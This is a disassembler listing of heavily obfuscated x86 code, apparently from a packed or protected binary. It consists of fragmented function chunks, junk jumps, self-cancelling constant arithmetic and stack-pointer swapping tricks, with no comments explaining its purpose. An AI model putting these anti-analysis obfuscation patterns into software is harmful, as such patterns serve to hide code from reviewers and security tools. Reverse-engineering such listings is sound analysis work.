; START	OF FUNCTION CHUNK FOR sub_59377D


loc_5981DC:				; CODE XREF: sub_59377D-3960j
		sub	esi, eax
		pop	eax
		pop	ebp
		add	[edi+24h], esi
		pop	esi
; END OF FUNCTION CHUNK	FOR sub_59377D
; START	OF FUNCTION CHUNK FOR sub_591435


loc_5981E4:				; CODE XREF: sub_591435-3D2Ej
		push	6995h
		mov	[esp+4+var_4], edi
		push	edx
		push	ebx
		sub	[esp+0Ch+var_C], 29113140h
		pop	edx
		add	edx, 29113140h
		mov	edi, edx
		pop	edx
		mov	eax, edi
		push	[esp+4+var_4]
		mov	edi, [esp+8+var_8]
		push	3FABh
		jmp	loc_58BA1B
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_598211:				; CODE XREF: sdfs____:0058E63Fj
		mov	ebx, 29D726C7h
		add	edx, ebx
		pop	ebx
		add	edx, esi
		sub	edx, 29D726C7h
		jmp	loc_5957B4
; ---------------------------------------------------------------------------


loc_598226:				; CODE XREF: sdfs____:0058CEBFj
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_58D4ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_59823E:				; CODE XREF: sdfs____:0058BEA1j
					; sub_591435+A06j
		not	eax
		not	eax
		xor	eax, 5B31A2A2h
		sub	ebx, 4D676288h
		sub	ebx, eax
		jmp	loc_597DFD
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987BC


loc_598254:				; CODE XREF: sub_5987BC-3173j
					; sdfs____:00596AC8j
		pop	edi
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+0]
		pop	esp
		mov	[esp+0], ebp
		mov	edx, [esp+0]
		jmp	loc_592707
; END OF FUNCTION CHUNK	FOR sub_5987BC
; ---------------------------------------------------------------------------


loc_598273:				; CODE XREF: sdfs____:0058BB0Aj
		push	eax
		jmp	loc_58DBBC
; ---------------------------------------------------------------------------


loc_598279:				; CODE XREF: sdfs____:0058D90Ej
		and	edi, 65630072h
		jp	loc_58CD00
		jmp	loc_594C92
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_59828A:				; CODE XREF: sub_591435+26ADj
		sub	eax, 4
		xchg	eax, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		mov	[esp+4+var_4], esi
		push	2A40h
		mov	[esp+8+var_8], esp
		jmp	loc_591FCB
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_5982A5:				; CODE XREF: sdfs____:005941B0j
		and	eax, ebx
		pop	ebx
		jmp	loc_59772E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_5982AD:				; CODE XREF: sub_591435-2DA0j
		mov	ecx, eax
		pop	eax
		jmp	loc_598B07
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_5982B5:				; CODE XREF: sub_591370-322Fj
		mov	[esp-14h+arg_10], ebp
		push	edi
		push	edx
		push	741C14D3h
		jmp	loc_59656D
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_5982C4:				; CODE XREF: sub_594228+2BBDj
		shl	esi, 7
		js	loc_592313
		dec	esi
		jl	loc_592033
		jmp	loc_5908AB
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_5982D9:				; CODE XREF: sdfs____:005928D6j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5985C8
; ---------------------------------------------------------------------------


loc_5982E8:				; CODE XREF: sdfs____:00594C8Dj
		xchg	ch, dh
		inc	ch
		xchg	ch, dh
		push	25D4h
		mov	[esp], ecx
		mov	ch, 93h
		push	5E05h
		mov	[esp], ebx
		jmp	loc_597CBB
; ---------------------------------------------------------------------------


loc_598305:				; CODE XREF: sdfs____:0059847Aj
		mov	edi, 7D52896h
		add	esi, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_5901AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59587A


loc_59831B:				; CODE XREF: sub_594228-7FDj
					; sub_59587A+D53j
		shl	ebp, 6
		jns	loc_58E263
		add	ebp, 0C5B3D51h
		push	edx
		mov	ebp, eax
		pop	edi
; END OF FUNCTION CHUNK	FOR sub_59587A
; START	OF FUNCTION CHUNK FOR sub_591435


loc_59832E:				; CODE XREF: sub_591435-1AC4j
		mov	edi, 0BAC8BD20h
		jmp	loc_58D081
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_598338:				; CODE XREF: sdfs____:0058C160j
		mov	ebx, [esp]
		jmp	loc_5905E6
; ---------------------------------------------------------------------------


loc_598340:				; CODE XREF: sdfs____:005987DAj
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 35F8392Dh
		mov	edx, 1B326D48h
		xor	edx, ebx
		jmp	loc_591137
; ---------------------------------------------------------------------------


loc_598363:				; CODE XREF: sdfs____:0058CAAEj
		add	esp, 4
		jmp	loc_5951C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BAD7


loc_59836E:				; CODE XREF: sub_58BAD7+4E74j
		push	edx
		mov	edx, esp
		push	ebx
		jmp	loc_597285
; END OF FUNCTION CHUNK	FOR sub_58BAD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_598377:				; CODE XREF: sub_591435-1FC7j
		add	edi, 4CD65867h
		dec	edi
		add	edi, 9773C4D0h
		xor	ecx, edi
		jmp	loc_590FF0
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_59838B:				; CODE XREF: sdfs____:00596AB1j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_58DE27
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_598397:				; CODE XREF: sdfs____:0058E678j
					; sub_591370+1E4Fj
		mov	ebp, esp
		add	ebp, 4
		push	esi
		jmp	loc_592DF7
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
		push	dword ptr [edi+2Ch]
		jmp	loc_594701
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_5983AD:				; CODE XREF: sub_5962EB-7F9Fj
		sub	eax, 9C3CA91Bh
		mov	esi, eax
		pop	eax
		add	esi, 93D9A659h
		add	ecx, esi
		pop	esi
		add	ecx, 4
		jmp	loc_5914E6
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------


loc_5983C6:				; CODE XREF: sdfs____:0059348Bj
		add	eax, 4F40EDB2h
		mov	ebx, eax
		pop	eax
		jmp	loc_5922D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_5983D3:				; CODE XREF: sub_591435+116j
		add	esp, 4
		pop	[esp+8+var_8]
		jmp	loc_597924
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_5983DE:				; CODE XREF: sdfs____:00597AC4j
		shl	ebp, 4
		xor	ebp, 19394025h
		push	ecx
		mov	ecx, 0B0F99h
		neg	ecx
		and	ecx, 0B86689Ah
		push	esi
		mov	esi, 0A03BCB23h
		sub	ecx, esi
		pop	esi
		add	ebp, ecx
		pop	ecx
		add	edi, ebp
		pop	ebp
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		jmp	loc_59580A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_598413:				; CODE XREF: sub_5941BD+59Bj
		pop	ebp
		add	edi, 5B391689h
		jmp	loc_58FE47
; END OF FUNCTION CHUNK	FOR sub_5941BD

; =============== S U B	R O U T	I N E =======================================



sub_59841F	proc near		; CODE XREF: sub_5917C0-49Bj

var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0058BAA9 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058BADF SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058BB0F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058BB2D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058C014 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058C3F6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058C62E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058C734 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058CC2D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058CD3E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058CDC4 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058CF8C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058D4E1 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058DFFD SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058E3BC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058E7A6 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0058E8B0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058F3C1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058F60C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058FE34 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00590007 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00590631 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005906C3 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0059086E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00590CBC SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00590F59 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00591423 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00591700 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00591926 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00591BBF SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00592919 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00592D87 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00593381 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00593B51 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005942AA SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00594DC2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005961D6 SIZE 0000003E BYTES
; FUNCTION CHUNK AT 00596346 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059725B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005972E0 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005975F6 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00597835 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00597866 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0059792D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00597DF0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00597F10 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00598644 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00598A48 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00598C41 SIZE 00000016 BYTES

		push	ebx
		mov	ebx, 6C1340B6h
		jmp	loc_58C734
sub_59841F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_59842A:				; CODE XREF: sub_591435-53A5j
		add	esp, 4
		or	eax, eax
		jz	loc_593ADA
		push	dword ptr [edi+1Ch]
		push	ecx
		push	ebp
		mov	ebp, 543318E3h
		xor	ebp, 4F01556Fh
		mov	ecx, ebp
		pop	ebp
		xor	[esp+8+var_4], ecx
		jmp	loc_598DBF
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_598454:				; CODE XREF: sdfs____:005948D6j
		mov	esi, esp
		push	2495h
		mov	[esp], eax
		push	ecx
		mov	ecx, 360F3D71h
		dec	ecx
		or	ecx, 8ED5813h
		dec	ecx
		jnp	loc_58C420
		jmp	loc_592ED9
; ---------------------------------------------------------------------------


loc_598477:				; CODE XREF: sdfs____:00593661j
		mov	[esp], edi
		jmp	loc_598305
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_59847F:				; CODE XREF: sub_5941BD-6598j
		pop	edx
		xor	esi, [esp+0]
		xor	[esp+0], esi
		xor	esi, [esp+0]
		mov	esp, [esp+0]
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		mov	[esp+4+var_4], ecx
		push	edx
		jmp	loc_5966EA
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------


loc_5984AA:				; CODE XREF: sdfs____:00592E52j
		add	ebp, 6FA565D5h
		xor	ebp, 6C6E91B6h
		add	edx, ebp
		pop	ebp
		mov	edi, edx
		jmp	loc_592121
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_5984C0:				; CODE XREF: sub_591370+2204j
					; sdfs____:005985DFj
		neg	edx
		jp	loc_59209F
		push	esi
		mov	esi, 8A87D96h
		shr	esi, 4
		jmp	loc_58D79E
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_5984D6:				; CODE XREF: sdfs____:0058E86Aj
		add	edi, 0FB572A22h
		sub	eax, edi
		pop	edi
		push	ebp
		jmp	loc_591934
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_5984E5:				; CODE XREF: sub_591435+3173j
		xchg	esi, [esp+14h+var_14]
		jmp	loc_58F75F
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_5984ED:				; CODE XREF: sdfs____:00593AEEj
		mov	[esp], ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		add	ebp, 5F71701Ch
		add	ebp, ecx
		sub	ebp, 5F71701Ch
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	ebp, 2
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		rol	word ptr [esp],	cl
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594767


loc_598534:				; CODE XREF: sub_594767+14j
		pop	ebx
		jmp	loc_58BB40
; END OF FUNCTION CHUNK	FOR sub_594767
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_59853A:				; CODE XREF: sub_591435-1537j
		jmp	loc_590AA7
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_59853F:				; CODE XREF: sub_5962EB-50D8j
		pop	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-8+arg_4]
		pop	esp
		rep movsd
		jmp	loc_592646
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595678


loc_598557:				; CODE XREF: sub_595678+6j
		add	dword ptr [esp+0], 4
		jmp	loc_5977EC
; END OF FUNCTION CHUNK	FOR sub_595678
; ---------------------------------------------------------------------------


loc_598560:				; CODE XREF: sdfs____:0058E6C8j
		push	ecx
		jmp	loc_596276
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_598566:				; CODE XREF: sub_5917C0+23D3j
		shr	edi, 8
		neg	edi
		and	edi, 3A6266E4h
		dec	edi
		shl	edi, 7
		jmp	loc_59703B
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_59857A:				; CODE XREF: sub_594228-140j
		dec	esi
		shl	esi, 8
		add	esi, 84D8D287h
		or	ecx, esi
		pop	esi
		not	ecx
		push	3B42h
		mov	[esp-0Ah+arg_6], ebp
		mov	ebp, 6F127BA1h
		add	ecx, ebp
		pop	ebp
		mov	edx, ecx
		mov	ecx, [esp-0Eh+arg_A]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-0Ah+arg_6]
		pop	esp
; END OF FUNCTION CHUNK	FOR sub_594228

; =============== S U B	R O U T	I N E =======================================



sub_5985AE	proc near		; CODE XREF: sub_594228-A41j
					; sub_594228+2B96j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

; FUNCTION CHUNK AT 0058C2CE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058C84B SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0058D0EA SIZE 0000003D BYTES
; FUNCTION CHUNK AT 0058D3EA SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0058DEBE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058E099 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058F1B5 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058F8E4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058FCF4 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00590B1C SIZE 0000002F BYTES
; FUNCTION CHUNK AT 00591723 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00591857 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00591A26 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00591B08 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00591B7D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00591CD4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00591F03 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00591FE4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059260B SIZE 0000003B BYTES
; FUNCTION CHUNK AT 0059271E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00592A88 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00593344 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005935E5 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00593BB0 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00593C2E SIZE 00000032 BYTES
; FUNCTION CHUNK AT 00593E03 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00593E2B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005943F7 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00594CE8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00594E5A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005956AB SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0059595F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00595C01 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00596128 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00596EE2 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 0059719A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00597D2C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005981AD SIZE 00000014 BYTES

		push	ebx
		push	edi
		jmp	loc_58E099
sub_5985AE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_5985B5:				; CODE XREF: sdfs____:0059362Cj
		or	esi, 785F600Eh
		add	esi, 58009C4h
		add	ecx, esi
		jmp	loc_595B03
; ---------------------------------------------------------------------------


loc_5985C8:				; CODE XREF: sdfs____:005982E3j
		push	edx
		mov	edx, 2
		jmp	loc_590F34
; ---------------------------------------------------------------------------


loc_5985D3:				; CODE XREF: sdfs____:loc_592350j
		and	edx, 23B84581h
		xor	edx, 58381DD2h
		jb	loc_5984C0
		neg	edx
		jp	loc_595231
		push	esi
		mov	esi, 8A87D96h
		shr	esi, 4
		sub	esi, 15022C4Bh
		or	esi, 8653E50h
		add	esi, 3C8554F9h
		add	esi, 5A9B665Fh
		jmp	loc_592A59
; ---------------------------------------------------------------------------


loc_598613:				; CODE XREF: sdfs____:0058EB92j
		not	ebp
		push	edi
		mov	edi, 905309Ah
		sub	edi, 0DD6103E5h
		jmp	loc_58E86F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_598626:				; CODE XREF: sub_5962EB+5AFj
		push	esi
		jmp	loc_58F145
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------


loc_59862C:				; CODE XREF: sdfs____:00595904j
		mov	esp, [esp]
		jmp	loc_5937C6
; ---------------------------------------------------------------------------


loc_598634:				; CODE XREF: sdfs____:005932AEj
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebp
		push	edx
		jmp	loc_58DF8C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_598644:				; CODE XREF: sub_59841F-85E8j
		pop	esp
		mov	[esp+0], esi
		push	3281h
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		pop	esi
		add	esi, 4
		push	ecx
		jmp	loc_58F60C
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_598664:				; CODE XREF: sub_591435+4756j
		bts	[esp+0], ax
		pushf
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592853


loc_59866F:				; CODE XREF: sub_592853+50A9j
		mov	esi, 22720765h
		sub	esi, 0E358FD24h
		mov	ebp, esi
		jmp	loc_597AC9
; END OF FUNCTION CHUNK	FOR sub_592853
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BAD7


loc_598681:				; CODE XREF: sub_58BAD7+5356j
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		jmp	loc_5962E1
; END OF FUNCTION CHUNK	FOR sub_58BAD7
; ---------------------------------------------------------------------------


loc_59868F:				; CODE XREF: sdfs____:00596B66j
		push	ecx
		mov	ecx, 14DE2096h
		sub	ecx, 7ECF7482h
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 0C45C9D53h
		xor	ecx, ebp
		pop	ebp
		mov	ebx, ecx
		pop	ecx
		push	eax
		mov	eax, 71F23E82h
		jmp	loc_592DD9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58CDE6


loc_5986B7:				; CODE XREF: sub_58CDE6+61EBj
		mov	[esp-4+arg_0], edi
		push	ebx
		mov	ebx, 483C5D96h
		jmp	loc_592241
; END OF FUNCTION CHUNK	FOR sub_58CDE6
; ---------------------------------------------------------------------------


loc_5986C5:				; CODE XREF: sdfs____:00591741j
		mov	esi, [esp]
		jmp	loc_595763
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59587A


loc_5986CD:				; CODE XREF: sub_59587A-1A7Cj
		add	edi, eax
		mov	eax, [esp+0]
		add	esp, 4
		std
		sub	esp, 4
		mov	[esp+0], edx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+2+var_4+2]
		pop	esp
		mov	[esp+0], ebx
		mov	ebx, 410C78B8h
		jmp	sub_5962EB
; END OF FUNCTION CHUNK	FOR sub_59587A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_5986FF:				; CODE XREF: sub_591435+614Dj
		add	eax, 4
		push	eax
		push	[esp+8+var_4]
		jmp	loc_598AC2
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_59870C:				; CODE XREF: sdfs____:0058D870j
		mov	ebx, 4CEB35A4h
		push	esi
		mov	esi, 4CEB35A0h
		sub	ebx, esi
		pop	esi
		add	[esp+4], ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_596981
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_59872D:				; CODE XREF: sub_591370+3196j
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_598732:				; CODE XREF: sdfs____:00595E84j
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_593F94
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_59873F:				; CODE XREF: sub_5917C0+3F19j
		pop	cx
		add	bl, 62h
		sub	bl, dl
		sub	bl, 62h
		pop	edx
		push	ecx
		mov	cl, 0C0h
		dec	cl
		add	cl, 8Eh
		add	bl, cl
		pop	ecx
		add	bl, al
		jmp	loc_5946CE
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_59875C:				; CODE XREF: sub_594228-84B2j
		add	esp, 4
		shr	ecx, 0Bh
		push	24CAh
		mov	[esp-0Eh+arg_A], ebp
		mov	ebp, ebx
		mov	eax, ebp
		push	[esp-0Eh+arg_A]
		pop	ebp
		push	ebp
		jmp	sub_595678
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_59877B:				; CODE XREF: sdfs____:00598101j
		pop	esi
		sub	edx, esi
		mov	esi, [esp]
		add	esp, 4
		xor	edx, [esp]
		jmp	loc_59493F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_59878C:				; CODE XREF: sub_5917C0+3E2Fj
		mov	esi, 2226625Fh
		sub	esi, 30535F84h
		jnp	loc_58D7E2
		xor	esi, 1C6A70E6h
		jns	loc_591317
		not	esi
		push	ebx
		mov	ebx, 1
		jmp	loc_5907B1
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_5987B6:				; CODE XREF: sub_591370-366Bj
		push	edi
		jmp	loc_58DE01
; END OF FUNCTION CHUNK	FOR sub_591370

; =============== S U B	R O U T	I N E =======================================



sub_5987BC	proc near		; CODE XREF: sub_591435-552Dj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0058BF37 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0058C075 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058C42F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058C603 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058C744 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058CB72 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058CC74 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058CFC2 SIZE 0000003F BYTES
; FUNCTION CHUNK AT 0058D16E SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058D26E SIZE 0000003F BYTES
; FUNCTION CHUNK AT 0058D32E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058DC3F SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0058DD57 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058DE3B SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0058E24D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058E4AB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058ECA6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058F217 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058F7EA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00590F8D SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005910EA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00591275 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005919FA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00591A98 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00591B1B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00592707 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00592938 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00592D9E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00593CCC SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005943DC SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005955B1 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00595643 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059689F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00597571 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005975AC SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059784C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00597AF3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00597CC6 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00597D78 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00598254 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0059897C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00598CB3 SIZE 0000000E BYTES

		push	ebp
		push	edi
		jmp	loc_58DE3B
sub_5987BC	endp ; sp-analysis failed

